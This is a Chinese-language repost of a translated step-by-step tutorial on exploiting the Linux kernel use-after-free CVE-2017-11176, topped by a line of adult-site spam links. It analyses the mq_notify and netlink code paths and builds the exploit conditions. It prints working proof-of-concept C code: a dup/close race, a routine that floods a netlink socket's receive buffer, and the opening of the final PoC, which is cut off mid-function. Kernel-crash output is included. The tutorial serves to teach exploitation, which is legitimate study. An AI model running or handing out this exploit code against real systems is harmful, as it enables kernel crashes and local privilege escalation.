日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

linux 漏洞 poc,CVE-2017-11176: 一步一步linux内核漏洞利用 (二)(PoC)

發布時間:2025/3/11 linux 50 豆豆
生活随笔 收集整理的這篇文章主要介紹了 linux 漏洞 poc,CVE-2017-11176: 一步一步linux内核漏洞利用 (二)(PoC) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

使第二次循環中的fget()返回NULL

到目前為止,在用戶態下滿足了觸發漏洞的三個條件之一。TODO:

使netlink_attachskb()返回1

[DONE]exp線程解除阻塞

使第二次fget()調用返回NULL

在本節中,將嘗試使第二次fget()調用返回NULL。這會使得在第二個循環期間跳到“退出路徑”:

retry:

filp = fget(notification.sigev_signo);

if (!filp) {

ret = -EBADF;

goto out; //

}

為什么fget()會返回NULL?

通過System Tap,可以看到重置FDT中的對應文件描述符會使得fget()返回NULL:

struct files_struct *files = current->files;

struct fdtable *fdt = files_fdtable(files);

fdt->fd[3] = NULL; // makes the second call to fget() fails

fget()的作用:

檢索當前進程的“struct files_struct”

在files_struct中檢索“struct fdtable”

獲得“fdt->fd[fd]”的值(一個“struct file”指針)

“struct file”的引用計數(如果不為NULL)加1

返回“struct file”指針

簡而言之,如果特定文件描述符在FDT中為NULL,則fget()返回NULL。

NOTE:如果不記得所有這些結構之間的關系,請參考Core Concept#1。

重置文件描述符表中的條目

在stap腳本中,重置了文件描述符“3”的fdt條目(參見上一節)。怎么在用戶態下做到這點?如何將FDT條目設置為NULL?答案:close()系統調用。

這是一個簡化版本(沒有鎖也沒有出錯處理):

// [fs/open.c]

SYSCALL_DEFINE1(close, unsigned int, fd)

{

struct file * filp;

struct files_struct *files = current->files;

struct fdtable *fdt;

int retval;

[0] fdt = files_fdtable(files);

[1] filp = fdt->fd[fd];

[2] rcu_assign_pointer(fdt->fd[fd], NULL); // fd[fd] = NULL

[3] retval = filp_close(filp, files);

return retval;

}

close()系統調用:

[0] - 檢索當前進程的FDT

[1] - 檢索FDT中與fd關聯的struct file指針

[2] - 將FDT對應條目置為NULL(無條件)

[3] - 文件對象刪除引用(即調用fput())

我們有了一個簡單的方法(無條件地)重置FDT條目。然而,它帶來了另一個問題......

先有蛋還是先有雞問題

在unblock_thread線程調用setsockopt()之前調用close()非常誘人。問題是setsockopt()需要一個有效的文件描述符!已經通過system tap嘗試過。在用戶態下同樣遇到了這個問題......

在調用setsocktopt()之后再調用close()會怎么樣?如果我們在調用setsockopt()(解除主線程阻塞)之后再調用close(),窗口期就會很小。

幸運的是有一種方法!在Core Concept#1中,已經說過文件描述符表不是1:1映射。幾個文件描述符可能指向同一個文件對象。如何使兩個文件描述符指向相同的文件對象?dup()系統調用。

// [fs/fcntl.c]

SYSCALL_DEFINE1(dup, unsigned int, fildes)

{

int ret = -EBADF;

[0] struct file *file = fget(fildes);

if (file) {

[1] ret = get_unused_fd();

if (ret >= 0)

[2] fd_install(ret, file); // files->fdt->fd[ret] = file

else

fput(file);

}

[3] return ret;

}

dup()完全符合要求:

[0] - 根據文件描述符獲取相應的struct file指針。

[1] - 選擇下一個“未使用/可用”的文件描述符。

[2] - 設置fdt中新文件描述符([1]處獲得)對應條目為相應struct file指針([0]處獲得)。

[3] - 返回新的fd。

最后,我們將有兩個文件描述符指向相同文件對象:

sock_fd:在mq_notify()和close()使用

unblock_fd:在setsockopt()中使用

更新exp

更新exp(添加close/dup調用并修改setsockopt()參數):

struct unblock_thread_arg

{

int sock_fd;

int unblock_fd; //

bool is_ready;

};

static void* unblock_thread(void *arg)

{

// ... cut ...

sleep(5); // gives some time for the main thread to block

printf("[unblock] closing %d fd\n", uta->sock_fd);

_close(uta->sock_fd); //

printf("[unblock] unblocking now\n");

if (_setsockopt(uta->unblock_fd, SOL_NETLINK, //

NETLINK_NO_ENOBUFS, &val, sizeof(val)))

perror("setsockopt");

return NULL;

}

int main(void)

{

// ... cut ...

if ((uta.unblock_fd = _dup(uta.sock_fd)) < 0) //

{

perror("dup");

goto fail;

}

printf("[main] netlink fd duplicated = %d\n", uta.unblock_fd);

// ... cut ...

}

刪除stap腳本中重置FDT條目的行,然后運行:

-={ CVE-2017-11176 Exploit }=-

[main] netlink socket created = 3

[main] netlink fd duplicated = 4

[main] creating unblock thread...

[main] unblocking thread has been created!

[main] get ready to block

[unblock] closing 3 fd

[unblock] unblocking now

mq_notify: Bad file descriptor

exploit failed!

<<< KERNEL CRASH >>>

ALERT COBRA:第一次內核崩潰!釋放后重用。

崩潰的原因將在第3部分中進行研究。

長話短說:由于調用了dup(),調用close()不會真的釋放netlink_sock對象(只是減少了一次引用)。netlink_detachskb()實際上刪除netlink_sock的最后一個引用(并釋放它)。最后,在程序退出期間觸發釋放后重用,退出時關閉“unblock_fd”文件描述符。

“retry”路徑

這節會展開部分內核代碼。現在距離完整的PoC只有一步之遙。

TODO:

使netlink_attachskb()返回1

[DONE]exp線程解除阻塞

[DONE]使第二次fget()調用返回NULL

為了執行到retry路徑,需要netlink_attachskb()返回1,必須要滿足第一個條件并解除線程阻塞(已經做到了):

int netlink_attachskb(struct sock *sk, struct sk_buff *skb,

long *timeo, struct sock *ssk)

{

struct netlink_sock *nlk;

nlk = nlk_sk(sk);

[0] if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state))

{

// ... cut ...

return 1;

}

// normal path

return 0;

}

如果滿足以下條件之一,則條件[0]為真::

sk_rmem_alloc大于sk_rcvbuf

nlk->state最低有效位不為0。

目前通過stap腳本設置“nlk->state”的最低有效位:

struct sock *sk = (void*) STAP_ARG_arg_sock;

struct netlink_sock *nlk = (void*) sk;

nlk->state |= 1;

但是將套接字狀態標記為“擁塞”(最低有效位)比較麻煩,只有內核態下內存分配失敗才會設置這一位。這會使系統進入不穩定狀態。

相反,將嘗試增加sk_rmem_alloc的值,該值表示sk的接收緩沖區“當前”大小。

填充接收緩沖區

在本節中,將嘗試滿足第一個條件,即“接收緩沖區已滿?”:

atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf

struct sock(在netlink_sock中)具有以下字段:

sk_rcvbuf:接收緩沖區“理論上”最大大小(以字節為單位)

sk_rmem_alloc:接收緩沖區的“當前”大小(以字節為單位)

sk_receive_queue:“skb”雙鏈表(網絡緩沖區)

NOTE:sk_rcvbuf是“理論上的”,因為接收緩沖區的“當前”大小實際上可以大于它。

在使用stap(第1部分)輸出netlink sock結構時,有:

- sk->sk_rmem_alloc = 0

- sk->sk_rcvbuf = 133120

有兩種方法使這個條件成立:

將sk_rcvbuf減小到0以下(sk_rcvbuf是整型(在我們使用的內核版本中))

將sk_rmem_alloc增加到133120字節大小以上

減少sk_rcvbuf

sk_rcvbuf在所有sock對象中通用,可以通過sock_setsockopt修改(使用SOL_SOCKET參數):

// from [net/core/sock.c]

int sock_setsockopt(struct socket *sock, int level, int optname,

char __user *optval, unsigned int optlen)

{

struct sock *sk = sock->sk;

int val;

// ... cut ...

case SO_RCVBUF:

[0] if (val > sysctl_rmem_max)

val = sysctl_rmem_max;

set_rcvbuf:

sk->sk_userlocks |= SOCK_RCVBUF_LOCK;

[1] if ((val * 2) < SOCK_MIN_RCVBUF)

sk->sk_rcvbuf = SOCK_MIN_RCVBUF;

else

sk->sk_rcvbuf = val * 2;

break;

// ... cut (other options handling) ...

}

當看到這種類型的代碼時,要注意每個表達式的類型。

NOTE:“有符號/無符號類型混用”可能存在許多漏洞,將較大的類型(u64)轉換成較小的類型(u32)時也是如此。這通常會導致整型溢出或類型轉換問題。

在我們使用的內核中有:

sk_rcvbuf:int

val:int

sysctl_rmem_max:__u32

SOCK_MIN_RCVBUF:由于“sizeof()”而“轉變”為size_t

SOCK_MIN_RCVBUF定義:

#define SOCK_MIN_RCVBUF (2048 + sizeof(struct sk_buff))

通常有符號整型與無符號整型混合使用時,有符號整型會轉換成無符號整型。

假設“val”為負數。在[0]處,會被轉換為無符號類型(因為sysctl_rmem_max類型為“__u32”)。val會被置為sysctl_rmem_max(負數轉換成無符號數會很大)。

即使“val”沒有被轉換為“__u32”,也不會滿足第二個條件[1]。最后被限制在[SOCK_MIN_RCVBUF,sysctl_rmem_max]之間(不是負數)。所以只能修改sk_rmem_alloc而不是sk_rcvbuf字段。

回到“正常”路徑

現在是時候回到自開始以來一直忽略的東西:mq_notify()“正常”路徑。從概念上講,當套接字接收緩沖區已滿時執行“retry路徑”,那么正常情況下可能會填充接收緩沖區。

netlink_attachskb():

int netlink_attachskb(struct sock *sk, struct sk_buff *skb,

long *timeo, struct sock *ssk)

{

struct netlink_sock *nlk;

nlk = nlk_sk(sk);

if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {

// ... cut (retry path) ...

}

skb_set_owner_r(skb, sk); //

return 0;

}

因此,正常情況下會調用skb_set_owner_r():

static inline void skb_set_owner_r(struct sk_buff *skb, struct sock *sk)

{

WARN_ON(skb->destructor);

__skb_orphan(skb);

skb->sk = sk;

skb->destructor = sock_rfree;

[0] atomic_add(skb->truesize, &sk->sk_rmem_alloc); // sk->sk_rmem_alloc += skb->truesize

sk_mem_charge(sk, skb->truesize);

}

skb_set_owner_r()中會使sk_rmem_alloc增加skb->truesize。那么可以多次調用mq_notify()直到接收緩沖區已滿?不幸的是不能這樣做。

在mq_notify()的正常執行過程中,會一開始就創建一個skb(稱為“cookie”),并通過netlink_attachskb()將其附加到netlink_sock,已經介紹過這部分內容。然后netlink_sock和skb都關聯到屬于消息隊列的“mqueue_inode_info”(參考mq_notify的正常路徑)。

問題是一次只能有一個(cookie)“skb”與mqueue_inode_info相關聯。第二次調用mq_notify()將會失敗并返回“-EBUSY”錯誤。只能增加sk_rmem_alloc一次(對于給定的消息隊列),并不足以(只有32個字節)使它大于sk_rcvbuf。

實際上可能可以創建多個消息隊列,有多個mqueue_inode_info對象并多次調用mq_notify()。或者也可以使用mq_timedsend()系統調用將消息推送到隊列中。只是不想在這里研究另一個子系統(mqueue),并且堅持使用“通用的”內核路徑(sendmsg),所以我們不會這樣做。

可以通過skb_set_owner_r()增加sk_rmem_alloc。

netlink_unicast()

netlink_attachskb()可能會通過調用skb_set_owner_r()增加sk_rmem_alloc。netlink_attachskb()函數可以由netlink_unicast()調用。讓我們做一個自底向上的分析來檢查如何系統調用到netlink_unicast():

- skb_set_owner_r

- netlink_attachskb

- netlink_unicast

- netlink_sendmsg // there is a lots of "other" callers of netlink_unicast

- sock->ops->sendmsg()

- __sock_sendmsg_nosec()

- __sock_sendmsg()

- sock_sendmsg()

- __sys_sendmsg()

- SYSCALL_DEFINE3(sendmsg, ...)

因為netlink_sendmsg()是netlink套接字的proto_ops(核心概念#1),所以可以通過sendmsg()調用它。

從sendmsg()系統調用到sendmsg的proto_ops(sock->ops->sendmsg())的通用代碼路徑將在第3部分中詳細介紹。現在先假設可以很輕易調用netlink_sendmsg()。

從netlink_sendmsg()到netlink_unicast()

sendmsg()系統調用聲明:

size_t sendmsg (int sockfd , const struct msghdr * msg , int flags );

在msg和flags參數中設置對應值從而調用netlink_unicast();

struct msghdr {

void *msg_name; /* optional address */

socklen_t msg_namelen; /* size of address */

struct iovec *msg_iov; /* scatter/gather array */

size_t msg_iovlen; /* # elements in msg_iov */

void *msg_control; /* ancillary data, see below */

size_t msg_controllen; /* ancillary data buffer len */

int msg_flags; /* flags on received message */

};

struct iovec

{

void __user *iov_base;

__kernel_size_t iov_len;

};

在本節中,將從代碼推斷參數值,并逐步建立我們的“約束”列表。這樣做會使內核執行我們想要的路徑。這就是內核漏洞利用的本質。在函數的末尾處才會調用netlink_unicast()。需要滿足所有條件......

static int netlink_sendmsg(struct kiocb *kiocb, struct socket *sock,

struct msghdr *msg, size_t len)

{

struct sock_iocb *siocb = kiocb_to_siocb(kiocb);

struct sock *sk = sock->sk;

struct netlink_sock *nlk = nlk_sk(sk);

struct sockaddr_nl *addr = msg->msg_name;

u32 dst_pid;

u32 dst_group;

struct sk_buff *skb;

int err;

struct scm_cookie scm;

u32 netlink_skb_flags = 0;

[0] if (msg->msg_flags&MSG_OOB)

return -EOPNOTSUPP;

[1] if (NULL == siocb->scm)

siocb->scm = &scm;

err = scm_send(sock, msg, siocb->scm, true);

[2] if (err < 0)

return err;

// ... cut ...

err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT); //

out:

scm_destroy(siocb->scm);

return err;

}

不設置MSG_OOB標志以滿足[0]處條件。這是第一個約束:msg->msg_flags沒有設置MSG_OOB。

[1]處的條件為真,因為在__sock_sendmsg_nosec()中會將“siocb->scm”置為NULL。最后,scm_send()返回值非負[2],代碼:

static __inline__ int scm_send(struct socket *sock, struct msghdr *msg,

struct scm_cookie *scm, bool forcecreds)

{

memset(scm, 0, sizeof(*scm));

if (forcecreds)

scm_set_cred(scm, task_tgid(current), current_cred());

unix_get_peersec_dgram(sock, scm);

if (msg->msg_controllen <= 0) //

return 0; //

return __scm_send(sock, msg, scm);

}

第二個約束:msg->msg_controllen等于零(類型為size_t,沒有負值)。

繼續:

// ... netlink_sendmsg() continuation ...

[0] if (msg->msg_namelen) {

err = -EINVAL;

[1] if (addr->nl_family != AF_NETLINK)

goto out;

[2a] dst_pid = addr->nl_pid;

[2b] dst_group = ffs(addr->nl_groups);

err = -EPERM;

[3] if ((dst_group || dst_pid) && !netlink_allowed(sock, NL_NONROOT_SEND))

goto out;

netlink_skb_flags |= NETLINK_SKB_DST;

} else {

dst_pid = nlk->dst_pid;

dst_group = nlk->dst_group;

}

// ... cut ...

這個有點棘手。這塊代碼取決于“sender”套接字是否已連接到目標(receiver)套接字。如果已連接,則“nlk->dst_pid”和“nlk->dst_group”都已被賦值。但是這里不想連接到receiver套接字(有副作用),所以會采取第一個分支。msg->msg_namelen不為零[0]。

看一下函數的開頭部分,“addr”是另一個可控的參數:msg->msg_name。通過[2a]和[2b],可以選擇任意的“dst_group”和“dst_pid”。控制這些可以做到:

dst_group == 0:發送單播消息而不是廣播(參考man 7 netlink)

dst_pid!= 0:與我們選擇的receiver套接字(用戶態)通信。0代表“與內核通信”(閱讀手冊!)。

將其轉換成約束條件(msg_name被轉換為sockaddr_nl類型):

msg->msg_name->dst_group 等于零

msg->msg_name->dst_pid 等于“目標”套接字的nl_pid

這里還有一個隱含的條件是netlink_allowed(sock,NL_NONROOT_SEND) [3]返回非零值:

static inline int netlink_allowed(const struct socket *sock, unsigned int flag)

{

return (nl_table[sock->sk->sk_protocol].flags & flag) || capable(CAP_NET_ADMIN));

}

因為運行exp的用戶是非特權用戶,所以沒有CAP_NET_ADMIN。唯一設置了“NL_NONROOT_SEND”標志的“netlink協議”是NETLINK_USERSOCK。所以“sender”套接字必須具有NETLINK_USERSOCK協議。

另外[1],需要使msg->msg_name->nl_family等于AF_NETLINK。

繼續:

[0] if (!nlk->pid) {

[1] err = netlink_autobind(sock);

if (err)

goto out;

}

無法控制[0]處的條件,因為在套接字創建期間,套接字的pid會被設置為零(整個結構體由sk_alloc()清零)。后面會討論這點,現在先假設netlink_autobind() [1]會為sender套接字找到“可用”的pid并且不會出錯。在第二次調用sendmsg()時將不滿足條件[0],此時已經設置“nlk->pid”。繼續:

err = -EMSGSIZE;

[0] if (len > sk->sk_sndbuf - 32)

goto out;

err = -ENOBUFS;

skb = alloc_skb(len, GFP_KERNEL);

[1] if (skb == NULL)

goto out;

“len”在__sys_sendmsg()中計算。這是“所有iovec長度的總和”。因此,所有iovecs的長度總和必須小于sk->sk_sndbuf減去32[0]。為了簡單起見,將使用單個iovec:

msg->msg_iovlen等于1 //單個iovec

msg->msg_iov->iov_len小于等于sk->sk_sndbuf減去32

msg->msg_iov->iov_base必須是用戶空間可讀 //否則__sys_sendmsg()將出錯

最后一個約束意味著msg->msg_iov也必須指向用戶空間可讀區域(否則__sys_sendmsg()將出錯)。

NOTE:“sk_sndbuf”等同于“sk_rcvbuf”但指的是發送緩沖區。可以通過sock_getsockopt()“SO_SNDBUF”參數獲得它的值。

[1]處的條件不應該為真。如果為真,則意味著內核當前耗盡了內存并且處于對exp來說很糟的狀態。不應該繼續執行exp,否則很可能會失敗,更糟的是會內核崩潰!

可以忽略下一個代碼塊(不需要滿足任何條件),“siocb->scm”結構體由scm_send()初始化:

NETLINK_CB(skb).pid = nlk->pid;

NETLINK_CB(skb).dst_group = dst_group;

memcpy(NETLINK_CREDS(skb), &siocb->scm->creds, sizeof(struct ucred));

NETLINK_CB(skb).flags = netlink_skb_flags;

繼續:

err = -EFAULT;

[0] if (memcpy_fromiovec(skb_put(skb, len), msg->msg_iov, len)) {

kfree_skb(skb);

goto out;

}

[0]處的檢查不會有問題,已經提供可讀的iovec,否則之前的__sys_sendmsg()就已經出錯(前一個約束)。

[0] err = security_netlink_send(sk, skb);

if (err) {

kfree_skb(skb);

goto out;

}

Linux安全模塊(LSM,例如SELinux)檢查。如果無法滿足此條件,那就需要找另一條路徑來執行netlink_unicast()或另一種方法來增加“sk_rmem_alloc”(提示:也許可以嘗試netlink_dump())。假設在目標機器上滿足此條件。

最后:

[0] if (dst_group) {

atomic_inc(&skb->users);

netlink_broadcast(sk, skb, dst_pid, dst_group, GFP_KERNEL);

}

[1] err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);

還記得之前將“dst_group”賦值為"msg->msg_name->dst_group"吧。由于它為零,將跳過[0]處代碼... 最后調用netlink_unicast()!

總結一下從netlink_sendmsg()執行到netlink_unicast()所要滿足的條件:

msg->msg_flags沒有設置MSG_OOB

msg->msg_controllen等于0

msg->msg_namelen不為0

msg->msg_name->nl_family等于AF_NETLINK

msg->msg_name->nl_groups等于0

msg->msg_name->nl_pid不為0,指向receiver套接字

sender套接字必須使用NETLINK_USERSOCK協議

msg->msg_iovlen等于1

msg->msg_iov是一個可讀的用戶態地址

msg->msg_iov->iov_len小于等于sk_sndbuf減32

msg->msg_iov->iov_base是一個可讀的用戶態地址

這是內核漏洞利用的部分過程。分析每個檢查,強制執行特定的內核路徑,定制系統調用參數等。實際上,建立此約束條件列表的時間并不長。有些路徑比這更復雜。

繼續前進,下一步是netlink_attachskb()。

從netlink_unicast()到netlink_attachskb()

這個應該比前一個更容易。通過以下參數調用netlink_unicast():

netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);

sk是sender套接字

skb是套接字緩沖區,由msg->msg_iov->iov_base指向的數據填充,大小為msg->msg_iov->iov_len

dst_pid是可控的pid(msg->msg_name->nl_pid)指向receiver套接字

msg->msg_flasg&MSG_DONTWAIT表示netlink_unicast()是否應阻塞

WARNING:在netlink_unicast()代碼中,“ssk”是sender套接字,“sk”是receiver套接字。

netlink_unicast()代碼:

int netlink_unicast(struct sock *ssk, struct sk_buff *skb,

u32 pid, int nonblock)

{

struct sock *sk;

int err;

long timeo;

skb = netlink_trim(skb, gfp_any()); //

[0] timeo = sock_sndtimeo(ssk, nonblock);

retry:

[1] sk = netlink_getsockbypid(ssk, pid);

if (IS_ERR(sk)) {

kfree_skb(skb);

return PTR_ERR(sk);

}

[2] if (netlink_is_kernel(sk))

return netlink_unicast_kernel(sk, skb, ssk);

[3] if (sk_filter(sk, skb)) {

err = skb->len;

kfree_skb(skb);

sock_put(sk);

return err;

}

[4] err = netlink_attachskb(sk, skb, &timeo, ssk);

if (err == 1)

goto retry;

if (err)

return err;

[5] return netlink_sendskb(sk, skb);

}

在[0]處,sock_sndtimeo()根據nonblock參數設置timeo(超時)的值。由于我們不想阻塞(nonblock>0),timeo將為零。msg->msg_flags必須設置MSG_DONTWAIT。

在[1]處,根據pid獲得receiver套接字“sk”。在下一節中會有說明,在通過netlink_getsockbypid()獲得receiver套接字之前需要先將其綁定。

在[2]處,receiver套接字不能是“內核”套接字。如果一個netlink套接字 設置了NETLINK_KERNEL_SOCKET標志,則它被標記為“內核”套接字,這些套接字通過netlink_kernel_create()函數創建。不幸的是,NETLINK_GENERIC協議就是其中之一。所以需要將receiver套接字協議更改為NETLINK_USERSOCK。

在[3]處,BPF套接字過濾器可能正在生效。但如果沒有為receiver套接字創建任何BPF過濾器,則可以不用管它。

在[4]處調用了netlink_attachskb()!在netlink_attachskb()中,確保執行下列路徑之一:

receiver緩沖區未滿:調用skb_set_owner_r() -> 增加sk_rmem_alloc

receiver緩沖區已滿:netlink_attachskb()不阻塞直接返回-EAGAIN

可以知道何時接收緩沖區已滿(只需要檢查sendmsg()的錯誤代碼)。

最后,在[5]處調用netlink_sendskb()將skb添加到接收緩沖區列表中,并刪除通過netlink_getsockbypid()獲取的(receiver套接字)引用。好極了!:-)

更新約束列表:

msg->msg_flags設置MSG_DONTWAIT

receiver套接字必須在調用sendmsg()之前綁定

receiver套接字必須使用NETLINK_USERSOCK協議

不要為receiver套接字定義任何BPF過濾器

現在非常接近完整的PoC。只要綁定receiver套接字就好了。

綁定receiver套接字

與任何套接字通信一樣,兩個套接字可以使用“地址”進行通信。由于正在使用netlink套接字,在這里將使用“struct sockaddr_nl”類型:

struct sockaddr_nl {

sa_family_t nl_family; /* AF_NETLINK */

unsigned short nl_pad; /* Zero. */

pid_t nl_pid; /* Port ID. */

__u32 nl_groups; /* Multicast groups mask. */

};

由于不想成為“廣播組”的一部分,因此nl_groups必須為0。這里唯一重要的字段是“nl_pid”。

基本上,netlink_bind()有兩條路徑:

nl_pid不為0:調用netlink_insert()

nl_pid為0:調用netlink_autobind(),后者又調用netlink_insert()

如果使用已分配的pid調用netlink_insert()將產生“-EADDRINUSE”錯誤。否則會在nl_pid和netlink套接字 之間創建映射關系。即現在可以通過netlink_getsockbypid()獲得netlink套接字。此外,netlink_insert()會將套接字引用計數加1。在最后的PoC中這一點很重要。

NOTE:第4部分將詳細介紹“pid:netlink_sock”映射存儲方式。

雖然調用netlink_autobind()更自然一點,但我們實際上是通過不斷嘗試pid值(autobind的作用,找當前未使用的pid值)來模擬netlink_autobind功能(不知道為什么這樣做...主要是懶...),直到bind()成功。這樣做允許我們直接獲取目標nl_pid值而不調用getsockname(),并且(可能)簡化調試(不確定:-))。

譯者注:本來應該nl_pid為0,然后調用bind的,但原文作者直接設置nl_pid為118然后不斷遞增嘗試bind(),直到成功。netlink_autobind應該會獲取當前未使用的pid值。

整合

確定所有執行路徑花了很長時間,但現在是時候在exp中實現這一部分并最終達成目標:netlink_attachskb()返回1!

步驟:

創建兩個AF_NETLINK套接字使用NETLINK_USERSOCK協議

綁定目標(receiver)套接字(最后它的接收緩沖區必須已滿)

[可選]嘗試減少目標套接字的接收緩沖區(減少調用sendmsg())

sender套接字通過sendmsg()像目標套接字發送大量數據,直到返回EAGAIN錯誤

關閉sender套接字(不再需要)

可以獨立運行下面代碼以驗證一切正常:

static int prepare_blocking_socket(void)

{

int send_fd;

int recv_fd;

char buf[1024*10]; // should be less than (sk->sk_sndbuf - 32), you can use getsockopt()

int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF

struct sockaddr_nl addr = {

.nl_family = AF_NETLINK,

.nl_pad = 0,

.nl_pid = 118, // must different than zero

.nl_groups = 0 // no groups

};

struct iovec iov = {

.iov_base = buf,

.iov_len = sizeof(buf)

};

struct msghdr mhdr = {

.msg_name = &addr,

.msg_namelen = sizeof(addr),

.msg_iov = &iov,

.msg_iovlen = 1,

.msg_control = NULL,

.msg_controllen = 0,

.msg_flags = 0,

};

printf("[ ] preparing blocking netlink socket\n");

if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||

(recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)

{

perror("socket");

goto fail;

}

printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);

// simulate netlink_autobind()

while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))

{

if (errno != EADDRINUSE)

{

perror("[-] bind");

goto fail;

}

addr.nl_pid++;

}

printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);

if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))

perror("[-] setsockopt"); // no worry if it fails, it is just an optim.

else

printf("[+] receive buffer reduced\n");

printf("[ ] flooding socket\n");

while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0) //

;

if (errno != EAGAIN) //

{

perror("[-] sendmsg");

goto fail;

}

printf("[+] flood completed\n");

_close(send_fd);

printf("[+] blocking socket ready\n");

return recv_fd;

fail:

printf("[-] failed to prepare block socket\n");

return -1;

}

通過system tap檢查結果。從現在開始,System Tap僅用于觀察內核,不再修改任何內容。請記得刪除將套接字標記為阻塞的行,然后運行:

(2768-2768) [SYSCALL] ==>> sendmsg (3, 0x7ffe69f94b50, MSG_DONTWAIT)

(2768-2768) [uland] ==>> copy_from_user ()

(2768-2768) [uland] ==>> copy_from_user ()

(2768-2768) [uland] ==>> copy_from_user ()

(2768-2768) [netlink] ==>> netlink_sendmsg (kiocb=0xffff880006137bb8 sock=0xffff88002fdba0c0 msg=0xffff880006137f18 len=0x2800)

(socket=0xffff88002fdba0c0)->sk->sk_refcnt = 1

(2768-2768) [netlink] ==>> netlink_autobind (sock=0xffff88002fdba0c0)

(2768-2768) [netlink] <<== netlink_autobind = 0

(2768-2768) [skb] ==>> alloc_skb (priority=0xd0 size=?)

(2768-2768) [skb] ==>> skb_put (skb=0xffff88003d298840 len=0x2800)

(2768-2768) [skb] <<== skb_put = ffff880006150000

(2768-2768) [iovec] ==>> memcpy_fromiovec (kdata=0xffff880006150000 iov=0xffff880006137da8 len=0x2800)

(2768-2768) [uland] ==>> copy_from_user ()

(2768-2768) [iovec] <<== memcpy_fromiovec = 0

(2768-2768) [netlink] ==>> netlink_unicast (ssk=0xffff880006173c00 skb=0xffff88003d298840 pid=0x76 nonblock=0x40)

(2768-2768) [netlink] ==>> netlink_lookup (pid=? protocol=? net=?)

(2768-2768) [sk] ==>> sk_filter (sk=0xffff88002f89ac00 skb=0xffff88003d298840)

(2768-2768) [sk] <<== sk_filter = 0

(2768-2768) [netlink] ==>> netlink_attachskb (sk=0xffff88002f89ac00 skb=0xffff88003d298840 timeo=0xffff880006137ae0 ssk=0xffff880006173c00)

-={ dump_netlink_sock: 0xffff88002f89ac00 }=-

- sk = 0xffff88002f89ac00

- sk->sk_rmem_alloc = 0 //

- sk->sk_rcvbuf = 2312 //

- sk->sk_refcnt = 3

- nlk->state = 0

- sk->sk_flags = 100

-={ dump_netlink_sock: END}=-

(2768-2768) [netlink] <<== netlink_attachskb = 0

-={ dump_netlink_sock: 0xffff88002f89ac00 }=-

- sk = 0xffff88002f89ac00

- sk->sk_rmem_alloc = 10504 //

- sk->sk_rcvbuf = 2312 //

- sk->sk_refcnt = 3

- nlk->state = 0

- sk->sk_flags = 100

-={ dump_netlink_sock: END}=-

(2768-2768) [netlink] <<== netlink_unicast = 2800

(2768-2768) [netlink] <<== netlink_sendmsg = 2800

(2768-2768) [SYSCALL] <<== sendmsg= 10240

現在滿足了“接收緩沖區已滿”的條件(sk_rmem_alloc>sk_rcvbuf)。下一次調用mq_attachskb()將返回1!

更新TODO列表:

[DONE]使netlink_attachskb()返回1

[DONE]exp線程解除阻塞

[DONE]使第二次fget()調用返回NULL

全部做完了?還差一點...

最終PoC

在最后三節中,編寫用戶態代碼實現了觸發漏洞所需的每個條件。在展示最終的PoC之前,還有一件事要做。

netlink_insert()會增加套接字引用計數,所以在進入mq_notify()之前,套接字引用計數為2(而不是1),所以需要觸發漏洞兩次!

在觸發漏洞之前,通過dup()產生新的fd來解鎖主線程。需要dup()兩次(因為舊的會被關閉),所以最后可以保持一個fd解除阻塞,另一個fd來觸發漏洞。

"Show me the code!"

最終PoC(不要運行system tap):

/*

* CVE-2017-11176 Proof-of-concept code by LEXFO.

*

* Compile with:

*

* gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploit

*/

#define _GNU_SOURCE

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

// ============================================================================

// ----------------------------------------------------------------------------

// ============================================================================

#define NOTIFY_COOKIE_LEN (32)

#define SOL_NETLINK (270) // from [include/linux/socket.h]

// ----------------------------------------------------------------------------

// avoid library wrappers

#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)

#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)

#define _setsockopt(sockfd, level, optname, optval, optlen) \

syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)

#define _getsockopt(sockfd, level, optname, optval, optlen) \

syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)

#define _dup(oldfd) syscall(__NR_dup, oldfd)

#define _close(fd) syscall(__NR_close, fd)

#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)

#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)

// ----------------------------------------------------------------------------

#define PRESS_KEY() \

do { printf("[ ] press key to continue...\n"); getchar(); } while(0)

// ============================================================================

// ----------------------------------------------------------------------------

// ============================================================================

struct unblock_thread_arg

{

int sock_fd;

int unblock_fd;

bool is_ready; // we can use pthread barrier instead

};

// ----------------------------------------------------------------------------

static void* unblock_thread(void *arg)

{

struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;

int val = 3535; // need to be different than zero

// notify the main thread that the unblock thread has been created. It *must*

// directly call mq_notify().

uta->is_ready = true;

sleep(5); // gives some time for the main thread to block

printf("[ ][unblock] closing %d fd\n", uta->sock_fd);

_close(uta->sock_fd);

printf("[ ][unblock] unblocking now\n");

